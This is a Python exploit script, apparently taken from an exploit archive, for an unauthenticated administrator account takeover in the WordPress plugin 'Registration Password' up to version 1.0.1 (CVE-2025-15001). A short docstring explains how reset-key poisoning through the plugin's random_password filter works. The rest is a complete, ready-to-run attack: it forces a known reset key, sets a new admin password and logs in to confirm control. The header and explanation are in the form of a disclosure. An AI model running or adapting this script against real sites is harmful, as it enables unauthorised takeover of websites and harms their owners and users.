Share
## https://sploitus.com/exploit?id=PACKETSTORM:226439
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Registration Password <= 1.0.1 - Unauthenticated Administrator Account Takeover (Reset-Key Poisoning)
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/registration-password/
    # Software Link: https://downloads.wordpress.org/plugin/registration-password.1.0.1.zip
    # Version: 1.0.1 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-15001
    """
    Registration Password <= 1.0.1 adds a global `random_password` filter (src/WP/Auth.php:14) that
    returns the attacker-supplied $_POST['pass1'] whenever $_POST['fs_is_password_for_registration']==
    'yes' (src/WP/Auth.php:68-79) โ€” with NO check that the current flow is actually a registration.
    
    WordPress's get_password_reset_key() generates the reset key via wp_generate_password(), which runs
    the `random_password` filter. So an attacker triggering a password reset for `admin` while sending
    the poisoning fields forces the stored reset key to a value they choose. They then complete the
    reset with that known key and set a new administrator password -> full account takeover, entirely
    unauthenticated.
    
    Prior state: plugin active (registration form not even required).
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--admin", default="admin", help="victim login")
        ap.add_argument("--key", default="Knownkey12345678abcd", help="attacker-chosen reset key")
        ap.add_argument("--newpass", default="PwnedAdmin!2026")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = requests.Session(); s.verify = False
    
        # 1) poison the reset key: forced to args.key via the random_password filter
        s.get(base + "/wp-login.php?action=lostpassword")
        s.post(base + "/wp-login.php?action=lostpassword",
               data={"user_login": args.admin, "fs_is_password_for_registration": "yes",
                     "pass1": args.key, "wp-submit": "Get New Password", "redirect_to": ""},
               allow_redirects=True)
        # 2) complete the reset with the known key
        s.get(base + "/wp-login.php?action=rp&key=%s&login=%s" % (args.key, args.admin),
              allow_redirects=True)
        s.post(base + "/wp-login.php?action=resetpass",
               data={"pass1": args.newpass, "pass2": args.newpass, "rp_key": args.key,
                     "wp-submit": "Save Password"}, allow_redirects=True)
        # 3) prove: log in as admin with the attacker's password
        a = requests.Session(); a.verify = False
        a.get(base + "/wp-login.php"); a.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        lr = a.post(base + "/wp-login.php", data={"log": args.admin, "pwd": args.newpass,
                    "wp-submit": "Log In", "redirect_to": base + "/wp-admin/", "testcookie": "1"},
                    allow_redirects=False)
        logged = "wordpress_logged_in" in lr.headers.get("Set-Cookie", "")
        print(f"[*] Target: {base} | victim: {args.admin} | forced key: {args.key}")
        print(f"[*] login as {args.admin} with attacker password: {logged}")
        if logged:
            print(f"\n[+] ACCOUNT TAKEOVER CONFIRMED โ€” administrator '{args.admin}' password reset by an "
                  f"unauthenticated attacker; logged in as administrator.")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())